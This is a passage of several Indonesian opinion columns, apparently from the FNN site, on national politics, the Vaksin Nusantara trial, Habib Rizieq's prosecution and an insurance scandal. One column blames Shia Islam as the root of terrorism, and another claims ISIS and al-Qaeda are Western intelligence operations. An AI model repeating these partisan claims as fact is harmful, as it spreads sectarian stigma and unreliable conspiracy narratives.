MPR bukan Lembaga Negara tertinggi. Di sisi lain, juga menjadi logis kalau MPR tidak memiliki kewenangan memilih Presiden dan Wakil Presiden. Pemilihan Presiden dan Wakil Presiden dipilih rakyat secara langsung, sehingga patut kita nilai bertentangan dengan Demokrasi Pancasila. Apakah Presiden melaksanakan amanat pembangunan bangsa dan negara atau GBHN dari rakyat seperti pada Sistem Pemerintahan Pancasila? Pasti tidak. Presiden membawa visi dan misinya sendiri. Bahkan di era Presiden Jokowi, para menteri yang memiliki bidang khusus pun dilarang membuat visi dan misi. Semua harus melaksanakan visi dan misi Presiden. Apakah selesai periode masa jabatannya, Presiden menyampaikan ‘Laporan Pertanggungjawaban’ kepada rakyat yang memilihnya? Pasti tidak ada. Bahkan, apakah Presiden bekerja sesuai janji saat kampanye atau tidak? Tidak ada konsekuensi yang mengatur. Apakah Presiden berhasil atau tidak di periode pertama, tergantung opini yang dibangun. Opini yang dibangun tergantung pemilik modal. Sejauhmana mereka mempengaruhi Ketum Parpol dan berbagai pihak yang terkait dengan perkandidatan Capres sebelumnya. Kiprah lembaga survei, pemilik modal dan media ikut mempengaruhi. Perilaku para buzzer politik, dan besarnya penggelontoran duit, sangat menentukan hasil pembangunan opini. Sistem Presidensial memang membikin enak posisi Presiden. Bagaimana tidak? Selesai menjabat Presiden bisa pergi ‘lenggang kangkung’ tanpa memberikan laporan pertanggungjawaban. Bahkan, andaikan sebelum akhir masa jabatan, bisa “menguasai” atau “menggandeng” DPR, DPD, MPR, MK dan MA maka bisa dipastikan “check and balances” tidak jalan. Walaupun banyak Parpol, pemerintahan bisa mirip atau akan menjadi pemerintahan yang totaliter. Bagaimana bisa terjadi? Presiden punya kekuatan apa? Jangan kaget, dan tak perlu kaget. Sistem Presidensial yang didukung demokrasi liberal, di lapangan akan menunjukkan bahwa pemilik “kekuatan” itu pemilik modal atau kaum kapitalis. Kedaulatan di tangan rakyat hanyalah sesaat dan sebagai tontonan, ketika coblosan di Pemilu. Setelah itu patut dinilai kedaulatan bukan lagi milik rakyat. Sebuah Gurindam Melayu yang mengatakan ‘Uang adalah Raja Dunia’ memang menjadi kenyataan. Baik itu positip maupun negatip. Tanpa akhlak mulia, uang bisa menghancurkan dan membawa kehancuran. Dengan uang, bisa membuat banyak orang silau yang berujung terciptanya konflik membelah persatuan. Kaum kapitalis pemilik “Raja Dunia” bisa menciptakan siapa Presiden yang bisa mereka kendalikan. Gambaran faktual secara sederhana antara Sistem Pemerintahan Pancasila sebagai produk lokal dengan Sistem Pemerintahan Presidensial sabagai barang import di atas, kiranya bisa membuka mata hati kita. Cintailah produk lokal kata Presiden, hendaknya termasuk cintailah Sistem Pemerintahan Pancasila sebagai produk “founding fathers”. Insya Allah, aamiin. Silakan kaget bila belum tahu sebelumnya. Namun yang terpenting janganlah masa bodoh. Produk lokal lain yang perlu dicintai adalah demokrasi. Demokrasi yang bersumber dan tumbuh dari budaya bangsa, serta sejarah perjalanan bangsa merupakan kekuatan bangsa. Apakah kita punya demokrasi produk lokal yang harus kita cintai? Jawabannya, silakan baca lanjutan artikel bersambung ini, tentang demokrasi. Semoga memahami. Insya Allah, aamiin. Penulis adalah Wagub DKI Jakarta 2007-2012 & Rumah Kebangkitan Indonesia.

Prabowo-Puan, Capres-Cawapres 2024?

by Tony Rosyid Jakarta FNN - Parbowo hampir dipastikan nyapres lagi. Gerindra nggak akan beri tiket kepada Capres selain Prabowo. Bagi Gerindra, Prabowo menjadi faktor utama elektoral partai. Dengan posisi Prabowo sebagai Capres, efek elektabilitas ke Gerindra sangat besar. Soal menang kalah, itu urusan nanti. Itu punya pertimbangan yang lain. Apalagi elektabilitas Prabowo juga tidak buruk-buruk bangat. Artinya, Prabowo memenuhi instrumen elektoral ketika didorong maju ke Pemilihan Presiden (Pilpres ) tahun 2024 nanti. Suara Gerindra yang ada di DPR sekarang 12,57%. Itu artinya Prabowo sudah punya modal Presidential Threshold 12,57%. persen. Tentu saja itu tak cukup maju sendirian. Sebab, Presidential Threshold 20%. Dengan demikian, Prabowo mesti menggandeng partai lain. Yang paling mungkin digandeng Gerindra adalah PDIP. Apalagi PDIP punya suara 19,33%. Gabungan Gerindra-PDIP sudah 31,90%. Angka itu lebih dari cukup untuk mengusung pasangan Capres-Cawapres pada 2024 nanti. Lantas, siapa calon dari PDIP? Puan Maharani. Megawati, Ketua Umum PDIP kecil kemungkinan akan melepas dukungan kepada selain Puan Maharani. Secara pengalaman, Puan memenuhi syarat. Pernah jadi Menko PMK dan sekarang menjadi ketua DPR. Soal elektabilitas, nampaknya Puan Maharani belum digarap secara serius. Saat ini, Gubernur Jawa Tengah Ganjar Pranowo yang lebih populer dari Puan. Ini lantaran, Ganjar sangat rajin melakukan self branding. Kabarnya, tim media Ganjar sangat efektif kerjanya. Sederhana dsaja membacanya. Jika ada kepala daerah, siapapun itu, di luar ibu kota, tanpa kerja dan prestasi spektakuler, tapi popularitas tinggi, patut diduga kalau ada tim media yang bekerja efektif. Ada baiknya, anda tidak hanya baca survei yang dipublish. Cari akses untuk membaca juga survei yang tidak dipublish. Anda akan paham bagaimana permainan tim media. Beda dengan kepala daerah di ibu kota. Apapun yang dilakukan, media meliputnya. Ibu Kota jadi pusaran media. Anies Baswedan terpopuler diantaranya karena menjadi kepala daerah di ibu kota. Selain faktor prestasi yang diperoleh melalui berbagai penghargaan, baik nasional maupun internasional. Anies memenuhi syarat logis untuk populer dan tertinggi elektabilitasnya diantara kepala daerah lain. Kembali soal Ganjar Pranowo, apakah Gubernur Jawa Tengah ini akan mampu menyalip Puan Maharani? Kalau secara elektoral, mungkin saja. Tetapi, tak mudah bagi Ganjar Pranowo untuk menggeser posisi Puan Maharani. Di usia senja, Megawati, Ketua umum PDIP pasti ingin melihat anaknya berada di puncak karir terbaiknya. Dan itu adalah wakil presiden, lalu presiden. Yang paling realistis bagi Megawati adalah memasangkan Puan Maharani dengan Prabowo. Formasinya “Prabowo-Puan”. Prabowo tetap menjadi Capres mengingat pertama, elektoral Prabowo lebih tinggi. Kedua, Prabowo itu senior yang sudah dua kali nyapres. Ketiga, ini mungkin bagian dari upaya Megawati memenuhi janjinya di Batu Tulis yang sempat tertunda, bahwa Prabowo giliran menjadi Capres atas dukungan PDIP. Sementara Ganjar Pranowo? Jika elektabilitasnya membaik, Gubernur Jawa Tengah ini bisa nyeberang ke kubu lain. Artinya? Keluar dari PDIP. Misalnya, jadi cawapresnya Anies Baswedan. Untuk ini, Ganjar mesti bersaing dengan tokoh-tokoh lain seperti Sandiaga Uno, Ridwan Kamil, Airlangga Hartarto, Tito Karnavian, Muhaimin Iskandar, Khofifah, Moeldoko, Agus Harmukti Yudhoyono (AHY), bahkan Budi Gunawan yang potensial dan juga berpeluang. Bagaimana jika Prabowo urung maju, dan mendorong Anies Baswedan sebagai Capres yang didukung Jokowi dan PKS? Apakah ini akan jadi pintu rekonsiliasi bangsa? Jika ini terjadi, maka akan merubah semua peta politik selama ini. Penulis adalah Pmerhati Politik dan Bangsa.

Benih Terorisme Itu Dari Syi'ah

by M. Rizal Fadillah Bandung FNN - Ungkapan Ketua Umum Pengurus Besar Nahdlatul Ulama (PBNU) Prof. Dr. Said Agil Siradj bahwa benih terorisme adalah Wahabi dan Salafi adalah ngawur dan ngaco. Pernyataan yang sangat sentimentil, dan berbahaya. Said tak pernah berterimakasih kepada Negara Saudi Arabia yang membuatnya memperoleh gelar Doktor di Universitas Ummul Quro Makkah. Negara yang telah menolong keilmuannya Said Agil. Kemudian sekarang berkhianat habis kepada Suadi Arabia dengan mencaci maki secara tak beradab. Orang menilai tak pantas dilontarkan oleh seorang Professor doktor atau ulama. Prilaku seperti itu hanya dan biasa dilakukan oleh mereka berpredikat sebagai ulama-ulaman. Itu bukan ulama benaran. Wahabi dan Salafi tidak pernah memusuhi negara manapun, termasuk Indonesia. Bahkan Salafi yang di Indonesia malah menyerukan untuk patuh kepada penguasa yang sah. Kaum salafi sangat jauh dari watak-watak radikal. Apalagi menjadi teroris. Aksi-aksi unjuk rasa atau demontrasi kepada penguasa saja dihukumkan sebagai barang haram. Salafi melawan Pemerintah tidak boleh. Demikian juga dengan Wahabi yang bersumber dari Saudi Arabia. Wahabi itu dimusuhi dengan snagat keras oleh kaum Syi'ah. Mereka dinyatakan sebagai nawashib, kafir oleh Syi'ah. Aneh bin ajaib saja, kalau Said Agil menyatakan salah satu sumber teroris di Indonesia itu berasal dari Salafi dan Wahabi Akar faham Syi'ah adalah radikalisme dan terorisme. Konsep imamah menciptakan permusuhan dan perlawanan terhadap ideologi negara di manapun. Spirit balas dendam dengan kekerasan ditarik dari pembantaian Karbala yang sebenarnya akibat dari watak khianat pengikut Syi'ah sendiri. Misalnya, menyakiti diri (tathbir) dengan senjata tajam adalah ajaran kekerasan dan terorisme Syi'ah. Sekedar mengingatkan lagi kalau gembong dan bapaknya terorisme di Indonesia adalah aktivis Syi'ah yang tiba dari pembinaan ilmu di Qom Teheran. Namanya adalah Muhammad Ibrahim Djawad. Orang ini yang melangkah dengan timnya yang terkenal melakukan peledakan bom Candi Borobudur pada tahun 1985 lalu. Ketika itu sembilan bom meledak sekaligus. Setelah meledakan Candi Brobudur yang menghebokan itu, Muhammad Ibrahim Djawad lantas kabur, dan lari kembali berlindung ke Iran. Sampai sekarang mungkin saja tidak berani kembali ke Indonesia. Kemungkinan dia masih menetap di Iran. Sementara anak buah Syi'ahnya meledakan bom bis Pemudi dan Seminari Alkitab Malang, Jawa Timur. Jadi pintu masuk radikalisme dan terorisme jelas bukan Wahabi atau Salafi. Melainkan asal-muasalnya dari Syi'ah. Said Agil yang sedemikian banyak memuji-muji Syi'ah, justru membahayakan eksistensi NKRI. Inkonsisten dukungan soal pluralisme. Dengan Kristen, Syiah, Ahmadiyah bisa berbaik baik. Tetapi giliran dengan Salafi dan Wahabi justru menonjok-nonjok. Bahaya global yang tidak disadari ole Said Agil adalah memusuhi Saudi Arabia, dan bersahabat dengan Iran. Padahal Saudi Arabia adalah negara di mana terdapat dua kota sucinya ummat Islam. Ada Makkah Al-Mukarromah yang menjadi kiblatnya ummat Islam di muka bumi ini. Selain itu, ada juga Madinah Al-Munawwarah, Kotanya Nabi Muhammad Sallaahu Alaihi Wasallam. Islam lahir di negeri Saudi Arabia ini. Islam bukan lahirnya di Qom atau Teheran. Apalagi di Karbala. Jangan salah mengarahkan kiblat bangsa dan negara ini. Penulis adalah Pemerhati Politik dan Kebangsaan.

Vaksin Nusantara Dijamin Unggul vs Sinovac Cina

by Mochamad Toha Surabaya, FNN - Dahlan Iskan, Menteri BUMN semasa Presiden Susilo Bambang Yudhoyono dalam tulisan di DisWay, 13 April 2021, menulis, kemarin pagi orang antre di RSPAD Gatot Subroto, Jakarta: menjalani vaksinasi mandiri lewat Vaksin Nusantara. Salah satu yang kelihatan di situ adalah tokoh ini: Sudi Silalahi. Bersama istri. Mantan Sekab itu percaya betul pada keahlian Dr. Dr. Terawan Agus Putranto, SpRad – Letnan Jenderal dan baru saja berhenti dari jabatan menteri kesehatan. Kemarin pagi itu tahapnya baru untuk pengambilan darah. Sekitar 20 cc. Tepatnya 8 ampul kecil. Darah tersebut diberi antigen. Lalu disimpan di lab Selama 2 minggu. Setelah muncul antibodi di darah itu, Sudi harus kembali ke RSPAD lagi. Darah tersebut akan dimasukkan kembali ke tubuhnya. “Saya tadi diberi tahu untuk datang lagi tanggal 28 April,” ujar Sudi Silalahi. Itulah cara yang disebut menimbulkan antibodi Covid-19 melalui sistem sel dendritik. Sel dendritik itu kemudian '”mengajar”' sel-sel darah kita. Yakni bagaimana cara memunculkan antibodi – yang lebih awet bertahan di dalam badan, bahkan bisa jadi seumur hidup. Minggu ini tiap hari 40 orang dulu. Ia mengetahui bahwa yang antre untuk divaksinasi lewat Vaksin Nusantara begitu banyak. Mulai minggu depan satu hari sudah bisa 80 orang. Rupanya Terawan – sebagai inisiator Vaksin Nusantara – akan menempuh jalan mirip sukses DSA (Digital Substraction Angiography). Yang dulunya juga ditentang begitu hebat – sampai ia diberhentikan sebagai anggota Ikatan Dokter Indonesia – tapi akhirnya diterima secara luas. Sampai saat ini sudah lebih 40.000 orang yang menjalani DSA – termasuk Dahlan dan istri. Itulah terapi untuk membersihkan saluran darah di dalam otak. Yang secara populer lantas disebut “brain wash”' – cuci otak dalam arti harfiah. Terapi “cuci otak” Terawan dengan menggunakan alat DSA banyak dipakai masyarakat Indonesia, baik dari kalangan pejabat hingga masyarakat biasa yang menikmati terapi ini. Biaya terapi “cuci otak” dengan alat DSA ini pada 2018 kisaran Rp 23 juta atau Rp 25 juta. “Sebenarnya untuk DSA-nya sendiri cuma 23 juta atau 25 juta (rupiah), sekitar itu,” ungkap Terawan saat ditemui di RSPAD Gatot Soebroto, Jakarta Pusat, Senin (12/11/2018). Yang membuat biayanya membengkak, menurutnya, justru disebabkan biaya pemeriksaan-pemeriksaan lainnya. Seperti pemeriksaan yang berkaitan dengan penyakit lain. Itulah yang membuat membengkak. Sebenarnya DSA sendiri murah. Sampai saat ini, Terawan pun tak membedakan biaya terapi DSA pada masyarakat Indonesia dan warga negara asing. Menurut Terawan, semua orang harus diperlakukan sama dalam hal pelayanan maupun biaya. Sebelumnya, banyak orang yang telah melakukan dan disembuhkan oleh terapi DSA itu. Sebut saja beberapa nama besar diantaranya seperti Aburizal Bakrie, Prabowo Subianto, dan Susilo Bambang Yudhoyono (SBY). Bagaimana dengan Vaksin Nusantara yang sedang dikembangkan Terawan? Apakah juga ada antusiasme masyarakat untuk disuntik Vaksin Nusantara? Sejak adanya penolakan untuk uji coba fase II Vaksin Nusantara, Terawan langsung memindahkan peralatan laboratorium dendritiknya dari Semarang, dibawa kembali lagi ke RSPAD Gatot Subroto, Jakarta. Wakil Ketua Komisi IX DPR Emanuel Melkiades Laka Lena, mantan Panglima TNI Jenderal Purn Gatot Nurmantyo, dan pengamat politik senior Fahri Ali tampak mengantri di RSPAD Gatot Subroto sebagai peserta Vaksin Nusantara. Ketua Dewan Pembina Partai Golkar Aburizal Bakrie, Wakil Ketua DPR RI Sufmi Dasco Ahmad dan sejumlah anggota Komisi IX DPR RI mendatangi RSPAD, juga tampak ada di RSPAD Gatot Subroto. Mereka itu untuk sementara diambil sampel darahnya. Sehingga, pengambilan sampel darah bagian dari proses vaksinasi. “Jangan dianggap tadi vaksin. Itu bagian dari prosesnya. Jadi, ngambil darah bagian dari proses,” kata Melkiades, Rabu (14/4/2021). “Kamis depan itu disuntik ke masing-masing orang sesuai dengan pengambilan darah tadi,” lanjut politisi Partai Golkar yang akrab disapa Melki itu. Vaksin Nusantara merupakan produk perusahaan obat asal Amerika Serikat (AS), AIVITA Biomedical yang dikembangkan oleh perusahaan Indonesia PT Rama Emerald Multi Sukses. Vaksin ini hanya digunakan bagi orang yang diambil komponen sel darah putihnya dan disuntikkan kembali. Saat sel diambil terjadi proses inkubasi dengan antigen protein S virus SARS-CoV-2. Lantas usai tujuh hari, sel itu dimasukkan lagi ke tubuh orang yang diambil selnya. Cara ini diklaim bisa bentuk pertahanan terhadap Covid-19. Penelitian klinis fase I melibatkan 28 relawan di RSUP Dr Kariadi. BPOM menyatakan penelitian Vaksin Nusantara belum memenuhi syarat, sehingga mereka belum mengeluarkan izin persetujuan penelitian uji klinis (PPUK) fase 2. BPOM merilis hasil uji klinis fase I atas Vaksin Nusantara yang digelar pada 23 Desember – 6 Januari 2021 di RSUD Kariadi Semarang atas 28 subjek. Hasilnya sebagian besar relawan mengalami kejadian tak diinginkan mulai dari level ringan, sedang, hingga berat. “Sebanyak 20 dari 28 subjek (71,4 persen) mengalami Kejadian yang Tidak Diinginkan, meskipun dalam grade 1 dan 2,” kata Kepala BPOM Penny Lukito, dilansir Tirto.id, Selasa (13/4/2021). Efek samping yang dirasakan antara lain, nyeri lokal, nyeri otot, nyeri sendi, nyeri kepala, penebalan, kemerahan, gatal, ptechiae, lemas, mual, demam, batuk, pilek dan gatal. Bandingkan dengan efek samping pada Vaksin Sinovac yang hanya dilaporkan sekitar 0,1-1 persen pada uji klinis fase 3. Seluruh subjek mengalami Kejadian yang Tidak Diinginkan (KTD) pada kelompok vaksin dengan kadar adjuvant 500 mcg dan lebih banyak dibandingkan pada kelompok vaksin dengan kadar adjuvant 250 mcg dan tanpa adjuvant. Di luar 20 subjek tersebut, terdapat 6 subjek penelitian yang mengalami efek samping derajat berat. Sebanyak 1 subjek mengalami hipernatremi, 2 subjek mengalami peningkatan Blood Urea Nitrogen (BUN) dan 3 subjek mengalami peningkatan kolesterol. Menurut Penny, KTD grade 3 merupakan salah satu pada kriteria penghentian pelaksanaan uji klinis yang tercantum pada protokol uji klinik. Namun, berdasarkan informasi Tim Peneliti saat inspeksi yang dilakukan BPOM, ternyata tidak dilakukan penghentian pelaksanaan uji klinis dan analisis yang dilakukan oleh Tim Peneliti terkait kejadian tersebut. Penny menjelaskan, itu menjadi satu alasan bagi BPOM enggan menerbitkan Persetujuan Pelaksanaan Uji Klinik (PPUK) tahap 2 bagi vaksin nusantara. Terawan dan Vaksin Nusantara harus bisa menunjukkan efikasi tinggi dibanding Sinovac yang diakui pejabat China memang rendah! Penulis adalah Wartawan Senior FNN.co.id.

Ada “Malin Kundang” di Tlatah Pakuan

TIDAK ada satu manusia di belahan dunia mana pun yang diperlakukan sekasar Habib Rizieq Shihab (HRS). Ia terus dikuntit rezim untuk menyerah dan mengalah atas pelanggaran ringan protokol kesehatan Covid-19. Siapa pun yang menyimak persidangan HRS dalam kasus tes swab di RS Ummi Bogor, membuat dada tiba-tiba tersesak. Sidang pelanggaran prokes yang auranya mirip dengan sidang kasus terorisme itu menghadirkan saksi Wali Kota Bogor, Bima Arya Sugiarto. Sidang yang cukup melelahkan itu mendalami keterangan saksi yang berubah-ubah. Saksi yang awalnya mau mencabut laporan kepolisian tiba-tiba batal, lantaran, kata Bima ada perintah dari Kapolda Jawa Barat untuk tetap memproses kasus ecek-ecek tersebut. Oleh karena itu, HRS menyebut Bima Arya pembohong. HRS tentu saja kecewa terhadap sikap Bima Arya yang tidak konsisten, apalagi sebelumnya hubungan Bima-HRS cukup harmonis. Di persidangan ini terbongkar sisi lain Bima Arya. Alih-alih mau menjadi saksi memberatkan bagi HRS, yang terjadi justru masa lalu Bima saat mencalonkan diri menjadi wali kota juga terbongkar. Tahun 2013 Bima Arya bukan siapa-siapa. Ia hanya pengamat politik dari lembaga riset Charta Politika. Atas desakan teman-teman dekatnya ia didapuk untuk coba-coba ikut Pilkada Kota Bogor. Ketika itu tingkat popularitas Bima cuma 8 persen, jauh di bawah angka petahana. Maka strategi disusun, pencitraan dikemas, dan pasukan buzzer dikerahkan. Tema pun dikumandangkan, BIMA (Bageur, Pinter, Idaman, Sadaya). Atas saran teman-teman Bima yang memang ahli komunikasi, calon wali kota yang tampak polos itu patuh dan mengikuti kemauan konsultan politiknya. Bima disetting seperti Jokowi saat mau jadi presiden. Pada kumpulan ibu-ibu majelis taklim ia memerankan orang yang hormat dan takzim kepada perempuan. Di kalangan pedagang kaki lima ia tampil sebagai rakyat bawah dengan makan bubur ayam di emper toko. Di kalangan seniman ia juga dipaksa lincah ngibing ala Sunda. Memakai sandal jepit adalah salah satu ritual yang Bima tunaikan. Upaya merebut hati masyarakat Kota Bogor mulai menampakkan hasil. Dua bulan kampanye, survei menunjukkan popularitas dia semakin naik menjadi 15 persen. Akan tetapi, kenaikan ini belum mampu mengalahkan rivalnya yang cukup kuat. Bima kemudian diarahkan untuk mendekati ulama. Maka adegan berikutnya pun ia lakukan dengan penuh semangat dan total. Ia berkunjung ke ulama- ulama sepuh di Kota Bogor. Tak lupa pakai kopiah hitam dan adegan cium tangan pun diviralkan. Belakangan diketahui ulama-ulama yang diminta Bima Arya untuk mendukungnya adalah guru Habib Rizieq Shihab. Ini terungkap saat Bima menjadi saki bagi HRS di PN Jakarta Timur, Rabu (14/04/2021). Habib menyinggung soal restunya kepada Bima Arya saat ingin menjadi Wali Kota Bogor, pada awal 2014. Habib Rizieq mempertegas peran dirinya dalam mendukung Bima Arya menjadi Wali Kota Bogor. Habib Rizieq tahu bahwa Habib Mahdi Assegaf sangat dekat dengan Bima bahkan menjadi pendukung utama Bima. Ketika itu Habib Rizieq sebagai guru, merestuinya. Selain Habib Mahdi Assegaf, Habib Rizieq juga menyinggung bahwa Bima dekat dengan ulama Muhammad Husni Thamrin. "Itu juga pendukung Anda luar biasa. Habib Tham itu orang tua saya. Kalau Anda dekati Habib Tham, (kemudian) Habib Tham suruh saya temui Anda, jangankan saya lagi sehat, lagi sakit pun saya akan datang ke kantor Anda," kata Habib Rizieq. Singkatnya, atas dukungan ulama dan habiblah, Bima Arya Sugiarto akhirnya menjadi Wali Kota Bogor pada 2014. Namun, ibarat cerita Malin Kundang di Sumatera Barat, ada anak durhaka kepada orang tuanya yang kemudian dikutuk menjadi batu. Ini terjadi Bumi Pakuan, tepatnya di Kota Bogor. Orang yang telah berjasa mendukung menjadi wali kota, malah dijebloskan ke penjara. Dimasukkannya HRS ke penjara salah satunya karena ada laporan kepolisian yang dibuat oleh sang wali kota dalam kasus pelanggaran protokol kesehatan covid-19 di wilayah Bogor. Habib mempertanyakan mengapa Bima tak menggunakan cara-cara kekeluargaan ketika menyelesaikan persoalan tes swab di RS Ummi Kota Bogor. Ia menyayangkan Bima yang langsung melaporkan polemik tersebut ke pihak berwajib. Padahal, hubungan HRS – Bima selama ini begitu baik. Bima tak hanya menyakiti Habib Rizieq Shihab. Teman-teman dekatnya yang dulu all out mendukungnya pun banyak yang kecewa. Belum genap satu tahun memimpin Bogor, ia terlibat korupsi lahan di Pasar Jambu Dua. Empat orang sudah dipenjara, tetapi dia selamat, padahal namanya sudah disebut dalam dakwaan jaksa sebagai orang yang melakukan (pleger). Kasus lain adalah soal pembangunan Hotel Ammarrossa yang menyalahi tata ruang. Di bawah kepemimpinannya, kemiskinan meningkat, dan kemacetan yang tak pernah terurai. Kota Bogor hanya terkesan indah di seputar Istana Kepresiden dan Kebun Raya. Bima dianggap kacang lupa kulitnya. Bima memang pernah menyesal atas dijebloskannya HRS dan menantunya, Habib Hanif ke penjara. “Saya sesalkan kenapa bisa menyeret nama Habib Rizieq Shihab dan Habib Hanif. Padahal, yang dilaporkan adalah RS UMMI Bogor,” ujar Bima Arya seperti yang disampaikan oleh Penasihat Hukum HRS, Aziz Yanuar. Tapi, apakah penyesalan itu ada manfaatnya? HRS hanya minta Bima menggunakan hati nuraninya dalam memimpin kota Bogor. Tes Swab di RS Ummi Bogor adalah kasus hukum dagelan karena ada ribuan orang di belahan republik ini yang tak melakukan tes swab. HRS juga menyesalkan sikap Bima yang tak berdaya mencabut laporan polisi, padahal diperbolehkan secara hukum. Ini membuat HRS sangat terpukul. Yang lebih menyebalkan lagi, tidak ada jejak penularan Corona pasca HRS dirawat di rumah sakit tersebut. Jadi, kalau dikatakan Bima berkewajiban memutus mata rantai Covid-19, rantai mana yang akan diputus? Pengadilan ini adalah contoh nyata ketidakadilan. Para penegak hukum seyogyanya menggunakan hati nurani dan moralitas dalam mengadili HRS. Keadilan macam apa yang bakal diraih. Penegakan hukum macam apa yang bakal diperjuangkan. Penghentian penularan Covid-19 macam apa yang hendak disetop. Ingat, apa yang dituduhkan kepada HRS sesungguhnya dilakukan pula oleh orang lain. Bahkan presiden dan para pejabat tinggi lainnya melakukan hal yang sama. Di mana letak equality before the law? Lebih menohok lagi ada biduan muda yang sengaja mengadakan acara pernikahan mewah malah dihadiri tiga pejabat negara yakni presiden, menhan dan Ketua MPR. Toh tidak dipenjara. Oleh karena itu, penegak hukum siuman dan sadarlah. Apakah proses persidangan HRS ini semata-mata untuk menegakkan hukum dan mencari keadilan atau memenuhi target mengurung HRS hingga tahun 2026 sebagaimana Twitter yang diduga milik Diaz Hendropriyono?

Radikalisasi Kaum Sekuler Kiri di Indonesia

by Prof. Daniel Mohammad Rosyid PhD Labuanbajo FNN - Selama lima tahun terakhir ini kaum sekuler kiri di Indonesia mengalami radikalisasi. Mereka yang semakin intoleran dengan kelompok Islam di negeri ini. Namun justru balik menuduh Islam sebagai yang intoleran. Islam anti NKRI, bahkan anti Pancasila segala. Kelompok sekuler kiri ini juga menyebut Islam sebagai agama impor dari Arab. Islam memecah belah bangsa dan tukang bikin ribut. Disamping didorong oleh syahwat politik, perut dan di bawah perut, radikalisasi ini memanfaatkan dua agenda internasional yang membentuk lingkungan geopolitik regional paling tidak dalam sepuluh tahun terakhir ini. Pertama, dapat dipastikan bahwa kebangkitan kelompok sekuler kiri ini memanfaatkan agenda “Bush War on Terror”. Agenda ini dalam praktek berarti “War on Islam” yang masih diteruskan oleh Presiden Trump. Hanya para naifun penganut dunguisme yang percaya bahwa ISIS, al-Qaeda dan Gerakan Jihadis itu bukan operasi intelijen kaum sekuler kanan radikal yang berkuasa di Sayap Barat, terutama sejak Obama berkuasa. Wacana Huntingtonian tentang benturan peradaban menjadi menu yang dilahap habis dengan sangat rakus oleh penghuni Sayap Barat ini. Wacana ini diamini dengan suara keras, bahkan penuh dengan kekhusyu'an oleh kaum nasionalis sekuler kiri di negeri ini. Kedua, saat Presiden Trump yang terobsesi dengan agenda nasionalistiknya, sehingga terjadi kekosong kepemimpinan internasional. Siatuasi ini dimanfaatkan oleh Partai Komunis China yang sejak Xi Jinping berkuasa, yang semakin menampilkan ambisi politik globalnya. Instrumen ambisi China ini adalah proyek One Belt One Road (OBOR). China tidak lagi puas menjadi manufacturer of the world saja. Tetapi kini ingin juga sekaligus menjadi transporter of the world. China tahu bahwa keuntungan menjadi pabrik dunia tidak terlalu banyak jika sektor transportasi global masih dikuasai Sayap Barat beserta para sekutunya. Kebangkitan China ini dimanfaatkan secara cerdik oleh kaum sekuler kiri di negeri ini yang telah menunggu waktu yang tepat secara lebih terorganisir sejak reformasi dimulai. Sayang sekali, proyek sekulerisasi sekaligus pendunguan massal melalui persekolahan massal paksa sejak Orde Baru telah menyebabkan masyarakat negeri ini buta sejarah. Juga sekaligus tumpul daya kritisnya. Akibatnya, masyarakat menjadi makanan empuk ocehan dusta para influencer bayaran melalui medsos. Bad influencer paling bersemangat justru diperankan oleh elite ormas Islam terbesar di negeri ini. Kini banyak pejabat publik dengan berani mengatakan bahwa kehidupan politik harus dibersihkan dari agama. Bahkan agama dijadikan musuh terbesar Pancasila. Pernyataan itu hanya bisa diucapkan oleh kaum sekuler kiri radikal. Kaum yang ingin menjadikan agama hanya simbol kehidupan bermasyarakat. Bukti terakhir adalah pencopotan seorang direksi sebuah BUMN karena yang bersangkutan mengadakan pengajian dengan mengundang penceramah yang dituding sebagai penceramah radikal. Padahal seorang Ketua MUI yang lalu pernah mengatakan bahwa, jangankan perbedaan khilafiah seperti penampilan wajah dan pakaian tertentu, perbedaan agamapun harus diterima. Perbedaan itu sesuai dengan amanah konstitusi. Bahwa negara berdasar pada Ketuhanan Yang Maha Esa, dan setiap penduduk dijamin kemerdekaan untuk menjalankan ibadah sesuai dengan agama dan kepercayaannya. Pencopotan direksi ini jelas inkonstitusional sekaligus sebuah kejahatan besar yang bila dibiarkan akan semakin menjadi-jadi. Merusak sendi-sendi kebangsaan negeri yang sangat majemuk ini. Di tengah wacana publik tentang radikalisme Islam, patut dicermati radikalisasi kaum sekuler kiri ini. Mereka menunggangi agenda war on Islam Sayap Barat dan OBOR China. Seperti yang dikatakan oleh Wakil Ketua Umum MUI KH Anwar Abbas, ummat Islam perlu protes sangat keras pada KH Ma'ruf Amin yang diam membisu melihat kesewenang-wenangan dan penyelewengan konsitusi. Bahkan pengamat Islam Radikal Sidney Jones pun heran dengan obsesi Pemerintah saat ini yang berosesi untuk mengkriminalisasi Front Pembela Islam (FPI). Penulis adalah Guru Besar Institut Tekonologi Sepuluh November Surabaya.

Kasus Jiwasraya Menyeret WanaArtha Life, OJK Ngumpet Dimana?

by Andre Vincent Wenas Jakarta FNN - Terpampang jelas di laman resmi Otoritas Jasa Keuangan (OJK) kalau lembaga ini yang “Mengatur, Mengawasi, Melindungi Untuk Industri Keuangan yang Sehat”. Sehingga kalau ada prahara di industri asuransi misalnya, maka seyogianya fokus penyelamatan adalah kepentingan para nasabah. Mereka yang setia membayar premi, mereka bukan koruptornya, mereka tidak bersalah apa-apa. Belum kelar soal tuntutan para nasabah PT Asuransi Jiwasraya, PT Asabri dan PT Bumiputera, muncul lagi korban turunan dari kasus Jiwasraya. Kali ini yang lagi ribut adalah para nasabah PT WanaArtha Life. Mengapa mereka sampai ribut? Msalahnya sederhana saja. Bagi para nasabah asuransi, ya lantaran tidak dibayar segala klaim yang dulu dijanjikan dalam akad asuransinya. Gagal bayarlah istilahnya. WanaArtha Life, adalah sebuah perusahaan asuransi swasta yang dimiliki oleh PT Fadent Consolidated Companies (97,2%) sebagai pemegang saham pengendali. Ada Yayasan Sarana Wanajaya (2,8%). Yayasan ini bernaung di bawah Depertemen Kehutanan Republik Indonesia. Sedangkan PT Fadent Consolidated Companies itu sendiri adalah Badan Usaha Milik Swasta yang didirikan oleh Mohammad Fadil Abdullah (almarhum). Sekarang perusahaan ono diwarisi dan dipimpin oleh puteri sulungnya Evelina Fadil Pietruschka sebagai CEO (Presiden Direktur) serta Manfred Armin Pietruschka sebagai Chairman (Presden Komisaris). Sedangkan di PT Asuransi Jiwa Adisarana Wanaartha, atau yang lebih dikenal sebagai WanaArtha Life ini Evelina bertindak sebagai Presiden Komisaris. Ia bersama Ir. Soebagjo Hadisepoetro (mantan petinggi Kemenhut) dan Dr. Sugiharto, SE. MBA (mantan Menteri BUMN) ada di jajaran Dewan Komisaris. Dewan Direksinya diisi oleh Yanes Matulatuwa sebagai Presiden Direktur, dan Daniel Halim sebagai Direktur. Keduanya profesional yang sudah banyak makan asam garam di bidang asuransi dan keuangan. WanaArtha Life ini 